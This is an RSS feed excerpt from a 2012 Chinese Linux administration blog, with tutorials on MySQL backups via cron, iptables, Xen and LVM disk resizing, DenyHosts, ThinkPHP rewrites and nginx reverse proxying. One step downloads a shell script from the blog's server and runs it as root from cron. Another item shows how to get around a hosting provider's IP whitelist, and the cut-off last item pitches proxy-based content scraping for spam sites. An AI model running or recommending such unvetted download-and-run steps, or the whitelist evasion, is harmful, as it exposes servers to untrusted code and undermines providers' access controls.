 --lock-tables=false > /home/backup/databackup.sql
tar zcf /home/backup/$DataBakName /home/backup/databackup.sql
rm -rf /home/backup/databackup.sql[/code]
保存退出
或者直接在你的VPS上执行

wget -c http://yum.lvtao.net/conf/mysqlbackup.sh
之后,给权限

chmod +x mysqlbackup.sh
然后,利用系统crontab实现每天自动运行

crontab -e
输入以下内容

00 00 * * * /root/mysqlbackup.sh
其他的crontab可以参考linux中Cron定时任务系统命令详解]]></description>
			<link>http://www.lvtao.net/html/1799.html</link>
			<pubDate>2012-01-09, 16:34:05</pubDate>
		</item>
		<item>
			<title>linux下面的复制(覆盖)文件</title>
			<author>memory</author>
			<description><![CDATA[通常.我们在linux下面覆盖文件的时候都会有提示.需要不停的按Y来执行覆盖.要是几个文件还好..但是要是几百个估计按Y都要吐血了.于是cp命令就派上了用场
于是首先


cp  -f * /home/wwwroot/demo1
依然要输入Y来确认操作,并且会忽略掉目录.继续

cp -r -f * /home/wwwroot/demo1
依然要输入Y来确认操作.这次不忽略目录了.于是各位知道-r的属性是干啥的.继续

cp -r -a -f * /home/wwwroot/demo1
依然要输入Y来确认操作.这次不忽略目录了.并且当前文件夹里面文件的权限和属性被传递到了demo1中..于是咱们又了解了个-a属性是干啥的了..于是继续

\cp -r  -f * /home/wwwroot/demo1
这次啥也不提示了..文件也复制过去了..
平时执行命令,比如 cp 配置文件会增加默认参数,加上\之后就会忽略掉本地配置,那么-f -r的属性就生效了]]></description>
			<link>http://www.lvtao.net/html/1798.html</link>
			<pubDate>2012-01-09, 16:31:40</pubDate>
		</item>
		<item>
			<title>Linux上iptables防火墙的基本应用教程</title>
			<author>memory</author>
			<description><![CDATA[iptables是Linux上常用的防火墙软件，下面vps侦探给大家说一下iptables的安装、清除iptables规则、iptables只开放指定端口、iptables屏蔽指定ip、ip段及解封、删除已添加的iptables规则等iptables的基本应用。
1、安装iptables防火墙
如果没有安装iptables需要先安装，CentOS执行：
yum install iptablesDebian/Ubuntu执行：
apt-get install iptables
2、清除已有iptables规则
iptables -F
iptables -X
iptables -Z
3、开放指定的端口

#允许本地回环接口(即运行本机访问本机)
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
# 允许已建立的或相关连的通行
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
#允许所有本机向外的访问
iptables -A OUTPUT -j ACCEPT
# 允许访问22端口
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
#允许访问80端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
#允许FTP服务的21和20端口
iptables -A INPUT -p tcp --dport 21 -j ACCEPT
iptables -A INPUT -p tcp --dport 20 -j ACCEPT
#如果有其他端口的话，规则也类似，稍微修改上述语句就行
#禁止其他未允许的规则访问
iptables -A INPUT -j REJECT
iptables -A FORWARD -j REJECT
4、屏蔽IP


#如果只是想屏蔽IP的话"3、开放指定的端口"可以直接跳过。
#屏蔽单个IP的命令是
iptables -I INPUT -s 123.45.6.7 -j DROP
#封整个段即从123.0.0.1到123.255.255.254的命令
iptables -I INPUT -s 123.0.0.0/8 -j DROP
#封IP段即从123.45.0.1到123.45.255.254的命令
iptables -I INPUT -s 124.45.0.0/16 -j DROP
#封IP段即从123.45.6.1到123.45.6.254的命令是
iptables -I INPUT -s 123.45.6.0/24 -j DROP
4、查看已添加的iptables规则

iptables -L -n
v：显示详细信息，包括每条规则的匹配包数量和匹配字节数
x：在 v 的基础上，禁止自动单位换算（K、M） vps侦探
n：只显示IP地址和端口号，不将ip解析为域名

5、删除已添加的iptables规则

将所有iptables以序号标记显示，执行：


iptables -L -n --line-numbers比如要删除INPUT里序号为8的规则，执行：


iptables -D INPUT 8
6、iptables的开机启动及规则保存

CentOS上可能会存在安装好iptables后，iptables并不开机自启动，可以执行一下：


chkconfig --level 345 iptables on将其加入开机启动。

CentOS上可以执行：service iptables save保存规则。

另外更需要注意的是Debian/Ubuntu上iptables是不会保存规则的。

需要按如下步骤进行，让网卡关闭是保存iptables规则，启动时加载iptables规则：

创建/etc/network/if-post-down.d/iptables 文件，添加如下内容：


#!/bin/bash
iptables-save > /etc/iptables.rules执行：chmod +x /etc/network/if-post-down.d/iptables 添加执行权限。

创建/etc/network/if-pre-up.d/iptables 文件，添加如下内容：


#!/bin/bash
iptables-restore < /etc/iptables.rules执行：chmod +x /etc/network/if-pre-up.d/iptables 添加执行权限。

关于更多的iptables的使用方法可以执行：iptables --help或网上搜索一下iptables参数的说明。]]></description>
			<link>http://www.lvtao.net/html/1797.html</link>
			<pubDate>2012-01-09, 16:12:55</pubDate>
		</item>
		<item>
			<title>手动如何为LVM XEN磁盘扩容</title>
			<author>memory</author>
			<description><![CDATA[最近用xen搭建的vps有扩容的需求。但是无法直接对磁盘进行操作，在网上搜到一篇老外的blog，原文[url]http://www.azhowto.com/2009/02/06/how-to-resize-lvm-running-xen-explained-part-1-increase-disk-size/[/url]

简单总结如下:

一般为不包含分区表的lvm分区调整大小比较简单，操作如下：

[color=#0000ff]Lvresize –L 30G /dev/vm/test[/color]

[color=#0000ff]Resize2fs /dev/vm/test[/color]

我在安装的vps只分了boot、swap和/这3个分区。现在发现真是大麻烦，所以建议大家还是要将重要数据进行独立分区例如

/boot

Swap

/

/data

这样再对/data进行调整时就不会涉及/分区，就当是帮自己的忙了。下面开始正题，进行/分区的扩容。



1、  关闭VPS

[color=#0000ff]xm shutdown test115[/color]

[color=#0000ff]fdisk -l /dev/vm/test115[/color]

Disk /dev/vm/test115: 50.0 GB, 59055800320 bytes

255 heads, 63 sectors/track, 7179 cylinders

Units = cylinders of 16065 * 512 = 8225280 bytes

Device Boot      Start         End      Blocks   Id  System

/dev/vm/mxzwv115p1   *           1          13      104391   83  Linux

/dev/vm/mxzwv115p2              14         144     1052257+  82  Linux swap / Solaris

/dev/vm/mxzwv115p3             145        6527    51271447+  83  Linux

2、  调整lvm文件大小

[color=#0000ff]lvresize -L 55G /dev/vm/test115[/color]

Extending logical volume test115 to 55.00 GB

Logical volume test115 successfully resized

3、  /分区扩容

[color=#0000ff]fdisk /dev/vm/test115[/color]

The number of cylinders for this disk is set to 7179.

There is nothing wrong with that, but this is larger than 1024,

and could in certain setups cause problems with:

1) software that runs at boot time (e.g., old versions of LILO)

2) booting and partitioning software from other OSs

(e.g., DOS FDISK, OS/2 FDISK)

Command (m for help): [color=#0000ff]d[/color]

Partition number (1-4): [color=#0000ff]3[/color]

Command (m for help): [color=#0000ff]n[/color]

Command action

e   extended

p   primary partition (1-4)

[color=#0000ff]p[/color]

Partition number (1-4): [color=#0000ff]3[/color]

First cylinder (145-7179, default 145):

Using default value 145

Last cylinder or +size or +sizeM or +sizeK (145-7179, default 7179):

Using default value 7179

Command (m for help): [color=#0000ff]w[/color]

The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 22: Invalid argument.

The kernel still uses the old table.

The new table will be used at the next reboot.

Syncing disks.

[color=#0000ff]kpartx -a /dev/vm/test115[/color]

[color=#0000ff]e2fsck -f test115p3[/color]

e2fsck 1.39 (29-May-2006)

Pass 1: Checking inodes, blocks, and sizes

Pass 2: Checking directory structure

Pass 3: Checking directory connectivity

Pass 4: Checking reference counts

Pass 5: Checking group summary information

/: 68184/6397440 files (1.3% non-contiguous), 715287/12817861 blocks

[color=#0000ff]resize2fs test115p3[/color]

resize2fs 1.39 (29-May-2006)

Resizing the filesystem on mxzwv115p3 to 14127159 (4k) blocks.

The filesystem on mxzwv115p3 is now 14127159 blocks long.

[color=#0000ff]kpartx -d  /dev/vm/mxzwv115[/color]

[color=#ff0000]kpartx命令的作用，是让Linux内核读取一个设备上的分区表，然后在/dev/mapper中生成代表相应分区的设备[/color]

5、启动VPS

[color=#0000ff]xm start test115[/color]]]></description>
			<link>http://www.lvtao.net/html/1796.html</link>
			<pubDate>2012-01-09, 13:30:11</pubDate>
		</item>
		<item>
			<title>centos 下安装防止SSH暴力破解的工具DenyHost</title>
			<author>memory</author>
			<description><![CDATA[官网：[url]http://denyhost.sourceforge.net/[/url]

DenyHost是一款用python编写的可以用来防止SSH暴力破解的工具。它的原理是定期分析/var/log/secure等日志，当发现同IP在进行多次SSH密码尝试时，将IP记录到/etc/hosts.deny文件中，达到屏蔽该IP的效果。

[b]一、安装条件检查[/b]

确认系统是否支持TCP_wappers

[color=#0000ff]ldd /usr/sbin/sshd | grep libwrap.so.0[/color]
libwrap.so.0 => /lib64/libwrap.so.0 (0x00002aae97300000)

确认Python版本是否在2.3以上

[color=#0000ff]python -v[/color]

Python 2.6.5 #我系统中的python已经进行过升级



[b]二、安装、配置及启动[/b]

1、安装DenyHost

[color=#0000ff]cd /usr/local/src/[/color]

[color=#0000ff]wget [url=http://sourceforge.net/projects/denyhosts/files/latest/download][color=#0000ff]http://sourceforge.net/projects/denyhosts/files/latest/download[/color][/url][/color]

[color=#0000ff]tar zxf DenyHosts-2.6.tar.gz[/color]

[color=#0000ff]cd DenyHosts-2.6[/color]

[color=#0000ff]python setup.py install[/color]

2、启动及配置

[color=#0000ff]cd /usr/share/denyhosts/[/color]

[color=#0000ff]cp daemon-control-dist daemon-control[/color]

[color=#0000ff]chown root daemon-control[/color]

[color=#0000ff]chmod 700 daemon-control[/color]

[color=#0000ff]cp denyhosts.cfg-dist denyhosts.cfg[/color]

[color=#0000ff]vim denyhosts.cfg[/color]

部分配置如下

系统安全日志的位置

[i]SECURE_LOG = /var/log/secure[/i]

记录受限制主机信息的文件位置，这个一般默认就可以

[i]HOSTS_DENY = /etc/hosts.deny[/i]

受限制账号的过期时间，默认为永不删除，也可以使用d（天）,h（小时）m（分钟）等来表示。

[i]PURGE_DENY =[/i]

需要阻止的服务，这里仅选择ssh

[i]BLOCK_SERVICE  = sshd[/i]

允许无效用户登录失败的次数（/etc/passwd中不存在的账号）

[i]DENY_THRESHOLD_INVALID = 5[/i]

允许除root以外的有效账号登录失败的次数

[i]DENY_THRESHOLD_VALID = 10[/i]

允许WORK_DIR/restricted-usernames文件中的账号登录失败的次数

[i]DENY_THRESHOLD_RESTRICTED = 1[/i]

管理员邮件地址

[i]ADMIN_EMAIL = jack.gao.ch@foxmail.com[/i]

日志目录

[i]DAEMON_LOG = /var/log/denyhosts[/i]

常用的基本就这几项，其他更详细的参照配置文件中的说明就可以

3、启动服务

[color=#0000ff]cp /usr/local/src/DenyHosts-2.6/build/scripts-2.6/denyhosts.py /usr/bin/[/color]

[color=#0000ff]cd /etc/init.d/[/color]

[color=#0000ff]ln -s /usr/share/denyhosts/daemon-control denyhosts[/color]

[color=#0000ff]/etc/init.d/denyhost start[/color]

4、设置自动启动

[color=#0000ff]chkconfig –add denyhosts[/color]

[color=#0000ff]chkconfig –level 345 denyhosts on[/color]]]></description>
			<link>http://www.lvtao.net/html/1795.html</link>
			<pubDate>2012-01-09, 13:28:44</pubDate>
		</item>
		<item>
			<title>CentOS 5.6 安装XEN 虚拟机及相关配置</title>
			<author>memory</author>
			<description><![CDATA[最近在公司负责VPS的业务，在网上搜到一些可用的资料，在这里总结一下，方便以后查看。

[b] [/b]

[b]一、介绍[/b]

Xen 是一个开放源代码的para-virtualizing虚拟机（VMM），或“管理程序 ”，是为x86架构的机器而设计的。Xen 可以在一套物理硬件上安全的执行多个虚拟机。它由剑桥大学开发。

[b]二、特点[/b]

1、虚拟机的性能更接近真实硬件环境

2、在真实物理环境的平台和虚拟平台间自由切换

3、在每个客户虚拟机支持到 32个虚拟CPU，通过 VCPU热插拔

4、支持PAE指令集的x86/32, x86/64平台

5、通过Intel 虚拟支持VT的支持来用虚拟原始操作系统（未经修改的）支持（包括Microsoft Windows）

6、优秀的硬件支持.支持几乎所有的Linux设备驱动



[b]三、预备知识[/b]

[b]domain-0：[/b]使用改写后的内核启动后最先载入的xen监控器（htpervisor），并且启动第一个上面的系统，我们称为domains-0(我们将xen中的虚拟机叫domain)

[b]domain-U：[/b]除domain0以外的其他虚拟机统称为domain-U

[b]libvirt[/b]

libvirt是一套免费、开源的支持Linux下主流虚拟化工具的C函数库，其旨在为包括Xen在内的各种虚拟化工具提供一套方便、可靠的编程接口，支持与C,C++,Ruby,Python等多种主流开发语言的绑定。当前主流Linux平台上默认的虚拟化管理工具virt-manager(图形化),virt-install（命令行模式）等均基于libvirt开发而成。

[b]virt-manager[/b]

Virual Machine Manager是一个用来管理虚拟主机的桌面用户接口。他主要包括virt-install、virt-clone、virt-image、virt-viewer几个工具

[b]XEN虚拟化技术[/b]

1、半虚拟化

Xen通过一种叫做半虚拟化的技术获得高效能的表现(较少的效能损失, 典型的情况下大约损失 2%, 在最糟的情况下会有 8% 的效能耗损; 与其它使用完全的虚拟化却造成最高到 20% 损耗的其他解决方案形成一个明显的对比)，甚至在某些与传统虚拟技术极度不友好的架构上（x86），Xen也有极佳的表现。与那些传统通过软件模拟实现硬件的虚拟机不同，在3.0版本及在Intel VT-X支援前的Xen需要让客户操作系统（guest operating systems）与Xen API进行连接。到目前为止，这样连结已经可以运用在NetBSD, GNU/Linux, FreeBSD和贝尔实验室的Plan 9系统上。在Brainshare 2005会议上，Novell展示了NetWare与 Xen的连通。与Windows XP连通的技术曾在Xen开发初期进行，但微软的协议未能允许它发布。Sun微系统公司也正积极研究Solaris与Xen的连结，使其能在Xen平台上运作。

2、完全虚拟化

Intel对Xen贡献修改以支持其VT-X Vanderpool架构扩展。如果主系统支持Vanderpool或者Pacifica扩展（Intel和AMD对本地支持虚拟化的扩展），这项技术将允许未修改的客作业系统运行在Xen虚拟机中。事实上，那意味著性能的提升，并且你可以在没有进行任何协议不允许的修改的情况下对Windows进行虚拟。

确认你的主机是否支持xen

[b]如何确认你的主机是否支持xen？[/b]

半虚拟化：只要是装有64bit CPU的主机都可以支持半虚拟化，32bit的CPU需要本身支持PAE技术才可以使用XEN

[color=#0000ff][root@linux ~]# cat /proc/cpuinfo | grep flags[/color]

flags  : fpu tsc msr [color=#ff0000]pae[/color] mce cx8 mtrr mca cmov pat pse36 mmx fxsr sse up

完全虚拟化：需要CPU支持虚拟化技术。目前x86架构中，Intel提供VT技术，AMD的则是SVM技术。他们CPU的标示分别为：Intel(vmx)和AMD(svm)

[color=#0000ff][root@linux ~]# cat /proc/cpuinfo | grep flags[/color]

flags   : fpu tsc msr pae mce cx8 apic mtrr mca cmov pat pse36 clflush dts

          acpi mmx fxsr sse sse2 ss ht tm pbe nx lm constant_tsc up pni

          monitor ds_cpl [color=#ff0000]vmx[/color] est tm2 cx16 xtpr lahf_lm

[color=#0000ff][root@linux ~]# cat /proc/cpuinfo | grep flags[/color]

flags   : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov

          pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt

          rdtscp lm 3dnowext 3dnow pni cx16 lahf_lm cmp_legacy[color=#ff0000] svm[/color] extapic

          cr8legacy 3dnowprefetch ts fid vid ttp tm stc 100mhzsteps

[b]四、XEN安装[/b]

本文系统平台为CentOS 5.6，由于使用源代码安装问题较多，建议使用yum进行安装。CentOS中默认版本较低，推荐使用第三方源。

[color=#0000ff]cd /etc/yum.repos.d/[/color]

[color=#0000ff]wget http://www.gitco.de/repo/GITCO-XEN3.4.3_x86_64.repo[/color]

[color=#0000ff]yum install -y xen kernel-xen xen-libs virt-manager python-virtinst[/color]

[b]kernel-xen[/b]：修改后的llinux内核，使它能运行xen

[b]xen[/b]：主要的xen套件，包括配置文件、启动脚本、基本函数库等

[b]xen-libs[/b]：xen所需的函数库

[b]python-virtinst[/b]：提供安装虚拟机的软件

[b]virt-manager[/b]：一个可以提供图形界面的xen管理工具

编辑/etc/grub.conf文件，修改如下

[quote]

default=0

timeout=5

splashimage=(hd0,0)/grub/splash.xpm.gz

hiddenmenu

title CentOS (2.6.18-274.3.1.el5xen)

        root (hd0,0)

        [color=#000000]kernel /xen.gz-3.4.3 dom0_mem=2048M[/color]

        [color=#000000]module /vmlinuz-2.6.18-274.3.1.el5xen ro root=LABEL=/[/color]

        module /initrd-2.6.18-274.3.1.el5xen.img

title CentOS (2.6.18-238.el5)

        root (hd0,0)

        kernel /vmlinuz-2.6.18-238.el5 ro root=LABEL=/

        initrd /initrd-2.6.18-238.el5.img

[/quote]

default=1修改为default=0，并限制Xen-dom0使用内存为2G.

系统重启

[color=#0000ff]reboot[/color]

查看是否安装成功

[color=#0000ff]uname -a[/color]

Linux [color=#ff0000]test.hi.com 2.6.18-274.7.1.el5xen[/color] #1 SMP Thu Oct 20 17:06:34 EDT 2011 x86_64 x86_64 x86_64 GNU/Linux

查看xen版本（本次安装的版本为3.4.3）

[color=#0000ff]xm info[/color]

host                   : test.hi.com

release                : 2.6.18-274.7.1.el5xen

version                : #1 SMP Thu Oct 20 17:06:34 EDT 2011

machine                : x86_64

nr_cpus                : 16

nr_nodes               : 1

cores_per_socket       : 4

threads_per_core       : 2

cpu_mhz                : 2400

hw_caps                : bfebfbff:2c100800:00000000:00000740:029ee3ff:00000000:00000001:00000000

virt_caps              :

[color=#ff0000]total_memory           : 24563[/color]

[color=#ff0000]free_memory            : 11486[/color]

node_to_cpu            : node0:0-15

node_to_memory         : node0:11486

[color=#ff0000]xen_major              : 3[/color]

[color=#ff0000]xen_minor              : 4[/color]

[color=#ff0000]xen_extra              : .3[/color]

xen_caps               : xen-3.0-x86_64 xen-3.0-x86_32p

xen_scheduler          : credit

xen_pagesize           : 4096

platform_params        : virt_start=0xffff800000000000

xen_changeset          : unavailable

cc_compiler            : gcc version 4.1.2 20080704 (Red Hat 4.1.2-50)

cc_compile_by          : root

cc_compile_domain      : gitco.tld

cc_compile_date        : Sun Jun 19 13:52:00 CEST 2011

xend_config_format     : 4

[b]五、XEN配置[/b]

[b]1、守护进程xend[/b]

启动脚本/etc/init.d/xend提供了xen启动和停止等功能。

[color=#0000ff]chkconfig xend on[/color]

[color=#0000ff]/etc/init.d/xend start[/color]

使xen随主机同时启动，系统默认已经完成以上配置。

[b]2、日志[/b]

xen提供了2个日志文件，分别为：

/var/log/xen/xend.log

/var/log/xen/xend-debug.log

[b]3、主配置文件[/b]

etc/xen/xend-config.sxp

[b]4、虚拟机配置文件[/b]

/etc/xen目录下提供了虚拟机配置文件的模板

[b]kernel[/b]：设置内核的路径

[b]ramdisk[/b]：设置ramdisk路径

[b]memory[/b]：设置内存大小

[b]vcpus[/b]：设置虚拟系统cpu的数量

[b]console[/b]：指定domain的控制端口（默认9600+domain id）

[b]vif[/b]：网卡配置，预定端口可以是一个一个空值，或指定更多的变量设置，比如：vif = [ 'mac=00:16:3E:00:00:11, bridge=xen-br0','bridge=xen-br1' ]

[b]disk[/b]：设置domain磁盘所使用的块设备

[b]dhcp[/b]：设置domain使用dhcp来获取IP

[b]netmask[/b]：设置domain的子网掩码

[b]gateway[/b]：设置domain的网关

[b]hostname[/b]：设置虚拟机的主机名

[b]root[/b]：在内核命令行中指定根分区

[b]nfs_server[/b]：配置nfs服务器IP

[b]nfs_root[/b]：设置nfs服务器root文件系统路径

[b]网络配置[/b]

xen虚拟网络技术

在dom0中，每个Domain 网络接口通过点对点的（效果相当于“交叉线”）连接到一个虚拟的网络接口，这些设备被命名为vif.（比如在domain 1 中vif1.0是第一个网络接口，vif3.1是domain 3的第二个网络接口）

这些虚拟的网络接口是通过domain 0的控制而相互通信，并且用标准的Linux结构来桥接、路由及传输限制等。Xend调用两个shell脚本，并且初始化网络及新的虚拟接口的配置。做为默认，这些脚本对于所有的虚拟接口都是通过单一的桥接。

[b]xen网络脚本[/b]

network-bridge:

无论xend何时启动或停止，network-bridge都会响应xend 来分别初始化或卸载Xen 虚拟网络。做为默认初始化配置，系统会创建一个网桥’xen-br0′，并且移动eth0到这个网桥，与此同时修改相录的路由。当xend退出时，他会删除Xen的网桥，并且移动eth0，恢复正常的IP和路由配置

vif-bridge:

这个脚本对每个Domain 虚拟网络接口做出响应，并且能配置防火墙规则，添加vif到适当的网桥上。默认情况下，用于在默认的Xen网桥上添加或移除VIF。

其它示例脚本是可以应用的（network-route 、 vif-route、 network-nat 和 vif -nat）。对于更为复杂的网络设置（比如路由或对现有网桥的整合）脚本能够被自定义的变量所替换，以做为你网络预译的首选。

[b]六、存储和文件系统管理[/b]

可以使用以下几种方法来做虚拟磁盘

[b]1、物理硬盘[/b]

一个简单的配置就是直接把有效的物理分区做为虚拟块设备。在您的 domain配置文件中，通过用phy:来指定。比如类似下面的一行：

disk = ['phy:hda3,sda1,w']

[b]2、文件[/b]

创建一个2G的文件，（文件的块的大小为1KB）

[color=#0000ff]dd if=/dev/zero of=vm1disk bs=1k seek=2048k count=1[/color]

格式化

[color=#0000ff]mkfs -t ext3 vm1disk[/color]

copy当前系统

[color=#0000ff]mount -o loop vm1disk /mnt[/color]

[color=#0000ff]cp -ax /{root,dev,var,etc,usr,bin,sbin,lib} /mnt[/color]

[color=#0000ff]mkdir /mnt/{proc,sys,home,tmp}[/color]

编辑/etc/fstab,/etc/hosts等文件，别忘记编辑的是已被挂载的文件系统，而不是domain0。例如你应该编辑/mnt/etc/fstab，而不是/etc/fstab

现在卸载文件（这个很重要）

[color=#0000ff]umount /mnt[/color]

在配置文件中设置

disk = [’tap:aio:/full/path/to/vm1disk,sda1,w’]

[b]3、LVM[/b]

初始化一个分区到LVM卷

[color=#0000ff]pvcreate /dev/sda10[/color]

创建卷组vg

[color=#0000ff]vgcreate vg /dev/sda10[/color]

创建一个逻辑卷大小为４Ｇ，名字为’myvmdisk1′

[color=#0000ff]lvcreate -L4096M -n myvmdisk1 vg[/color]

现在你能在/dev/vg/myvmdisk1中创建一个文件系统，然后挂载它，并且构建虚拟系统：

[color=#0000ff]mkfs -t ext3 /dev/vg/myvmdisk1[/color]

[color=#0000ff]mount /dev/vg/myvmdisk1 /mnt[/color]

[color=#0000ff]cp -ax / /mnt[/color]

[color=#0000ff]umount /mnt[/color]

修改vm配置

disk = [ 'phy:vg/myvmdisk1,sda1,w' ]

[b]4、NFS[/b]

[b]七、虚拟机安装[/b]

[color=#0000ff]virt-install -n virtual101 -r 512 -f /dev/vm/virtual101 –nographics -p -l nfs:10.10.1.12:/home/Jackgao/Centos_5[/color]

[b]八、克隆虚拟机[/b]

[color=#0000ff]virt-clone -o virtual101 -n virtual102 -f /dev/vm/virtual102 –force[/color]

完成后需要修改MAC、IP、HOSTNAME等信息

[b]九、XEN优化[/b]

[b]1、限制Domain0的内存[/b]

Xen 运行一段时间后，dom0 就会耗尽几乎所有可用内存（这是 Linux 的特点，把多余的内存用来做缓存）。

解决方法：在grub.conf文件中加入以下信息来限制domain的可用内存[b][/b]

title CentOS (2.6.18-274.3.1.el5xen)

        root (hd0,0)

        kernel /xen.gz-3.4.3 [color=#ff0000]dom0_mem=2048M[/color]

        module /vmlinuz-2.6.18-274.3.1.el5xen ro root=LABEL=/

        module /initrd-2.6.18-274.3.1.el5xen.img

修改后使用free -m查看结果，如果需要查看服务器真实内存信息需要使用xm info

[b]2、让Domain0得到足够的cpu资源[/b]

默认情况下 Xen 使用的是 Credit-Based CPU Scheduler，一种基于权重的 CPU 调度算法。简单的说就是给每个虚拟机的 CPU 一个权重，权重多的得到和使用物理 CPU 的时间就会多，如果虚拟机1的 CPU（VCPU 1.0）权重是256，虚拟机2（VCPU 2.0）的权重是512，那么虚拟机2的 VCPU 2.0 得到物理 CPU 的使用时间就是虚拟机1的2倍。

Xen 给每个虚拟机（包括 dom0 和 domU）分配的默认权重都是 256，也就是说 Xen 上运行的所有 guest 操作系统，dom0 和 众多 domU 都是均分和共享 CPU 的，他们能得到 CPU 的时间和机会都是一样的。这看上去对虚拟机用户（domU）来说很公平，但这种大锅饭的方法对 dom0 来说可不合适，dom0 承担着艰巨的任务，要处理来自其他 domU 的 IO 请求，如果都平均享用 CPU 的话就会造成 dom0 常常因得不到足够的 CPU 时间而不能及时处理自己或来自 domU 的 IO，所以在各虚拟机 IO 负载重的情况下我们需要修改 dom0 的权重，以便它能及时处理 IO. IO 这个问题很重要，一旦 IO 处理不及时，所有虚拟机的 IO 都会等待，将会影响所有虚拟机用户。

查看当前 dom0 的 CPU 权重：

[color=#0000ff]xm sched-credit -d Domain-0[/color]

修改 dom0 的 CPU 权重：

[color=#0000ff]xm sched-credit -d Domain-0 -w 512[/color]]]></description>
			<link>http://www.lvtao.net/html/1794.html</link>
			<pubDate>2012-01-09, 13:27:16</pubDate>
		</item>
		<item>
			<title>apache/nginx隐藏thinkphp等PHP框架中的index.php文件名显示</title>
			<author>memory</author>
			<description><![CDATA[在thinkphp框架开发的过程中，我们经常看到路径信息里有一个index.php显示，一方面是跟常规网站显示不太一样，另一方面会让稍微懂点程序的童鞋有点晕。所以呢，去掉或者是隐藏index.php这个显示方式，就值得研究一下了。
[img]/upload/files/20120108/2012050139-JyTZ93GiaJ.png[/img]

首先呢我们要了解一下thinkphp框架开发中为什么会显示这个index.php呢？如果看过或者是实施过thinkphp框架的童鞋，是了解其中这个index.php的作用的。其实index.php这个文件，注意这里不是指的浏览器地址栏中的index.php，而是指在项目开发过程中，我们看到的第一个index.php。这个文件是项目入口文件，通俗一点呢就是开发完一个项目，如果发布到互联网，我们作为浏览者，打开这个项目网站的时候，就会看到通过index.php这个入口文件给我编译的相关信息。而且这个index.php是我们浏览整个网站的唯一入口，这一点体现了thinkphp的单一入口访问的特点。

好了，说了这么多具体该怎么做呢？首先我们看一下去掉之前和去掉之后的效果对比：
http://localhost/test/index.php/index     http://localhost/test/index。

实现以上效果，我们分别在apache服务器喝nginx服务器中实现：

apache实现去掉thinkphp项目中的index.php

    确保httpd.conf配置文件中加载了mod_rewrite.so模块
    AllowOverride None 讲None改为 All      //在APACHE里面去配置
    <Directory “D:/server/apache/cgi-bin”>
       AllowOverride none  改   AllowOverride ALL                           Options None
    Order allow,deny
    Allow from all
    </Directory>

    确保URL_MODEL设置为2，        在项目的配置文件里写

  return Array(
    ‘URL_MODEL’ => ’2′,
    );
    .htaccess文件必须放到跟目录下， 这个文件里面加：          
<IfModule mod_rewrite.c>
    RewriteEngine on
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
</IfModule>

ngnix服务器去掉或者隐藏index.php

在thinkphp框架目录中找到applications，并在其Conf文件夹中找到Config.php文件，并修改此段代码：return array(
‘URL_MODEL’=>2
);

下一步配置ngnix的配置文件Nginx.conf，并在项目虚拟主机下添加：
location / {
      if (!-e $request_filename){
           rewrite ^/(.*)$ /index.php/$1 last;
      }
}

项目文件在子目录下，做如下修改：
location /目录/ {
      if (!-e $request_filename){
           rewrite ^/目录/(.*)$ /目录/index.php/$1 last;
      }
}

如上就完成了在开发过程中去掉thinkphp框架默认显示的index.php]]></description>
			<link>http://www.lvtao.net/html/1793.html</link>
			<pubDate>2012-01-08, 17:03:07</pubDate>
		</item>
		<item>
			<title>NGINX反向代理教程</title>
			<author>memory</author>
			<description><![CDATA[看有人需要 就把经验写一下 方便其他人
http://nginx.org/en/download.html 下载需要的版本
有WIN和LINUX版
选择 Stable versions 稳定版即可
前提：有一台无白名单的机子或VPS
LINUX版的最好把sub_filter编译进去（变态情况下会用到）
在被白名单的网站上 分配一个非80端口 如8000

配置文件案例
域名：www.xxxx.com
被白名单的IP：111.111.111.111
没白名单的IP：222.222.222.222

server
{
     listen          80;
     server_name     www.xxxx.com;
     location / {
        proxy_pass http://111.111.111.111:8000;
        proxy_redirect off;
        proxy_set_header Host www.xxxx.com;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
         }
}

去把www.xxxx.com域名指向到222.222.222.222 就OK了

高级一点 加个缓存 来提升速度：

server
{
     listen          80;
     server_name     www.xxxx.com;
     location / {
        proxy_pass http://111.111.111.111:8000;
        proxy_redirect off;
        proxy_set_header Host www.xxxx.com;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
         }
        location ~ .*.(gif|jpg|jpeg|png|bmp|swf|js|css)$
       {
        expires      48h;
         root /home/cache/;                        
         proxy_store on;    
          proxy_store_access user:rw group:rw all:rw;  
          proxy_temp_path /home/cache/;      
          if (!-e $request_filename) {
          proxy_pass http://111.111.111.111:8000;
          break;
           }
         }
}

将gif|jpg|jpeg|png|bmp|swf|js|css 这些文件缓存到/home/cache 时效48小时 注意给缓存目录写权限

叶凡的IDC 属于变态级别
IP不可直接访问
白名单对所有端口都有效
那么上面这种方式就没法用了 就算你换到非80端口 一样白名单你

还是有一种解决办法的
那就是 使用已经过白名单的域名 来进行方向代理
如果没有 直接拿IDC的网站域名即可 肯定在白名单里
例如：已经过白名单的域名www.idc.com
在被白名单的网站上绑定域名 www.idc.com
然后在反向代理的服务器上 使用host将www.idc.com 指向到111.111.111.111

配置文件进行更改

server
{
     listen          80;
     server_name     www.xxxx.com;
     location / {
        proxy_pass http://www.idc.com;
        proxy_redirect off;
        proxy_set_header Host www.idc.com;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
       sub_filter www.idc.com www.xxxx.com;
       sub_filter_once off;
         }
}

这里用到 sub_filter 这个功能 将输出的内容里www.idc.com 替换为 www.xxxx.com
因为使用其他域名的时候返回的HOST将是其他域名 所有用sub_filter模块把它替换回来]]></description>
			<link>http://www.lvtao.net/html/1792.html</link>
			<pubDate>2012-01-04, 19:20:59</pubDate>
		</item>
		<item>
			<title>你还在采集内容吗？那就真的落伍了！(Nginx反向代理实践) 代理替换相关内容</title>
			<author>memory</author>
			<description><![CDATA[采集耗电、费时间，对方更换了规则，还得重新配置采集规则。相信很多做垃圾站的朋友会有类似感慨。

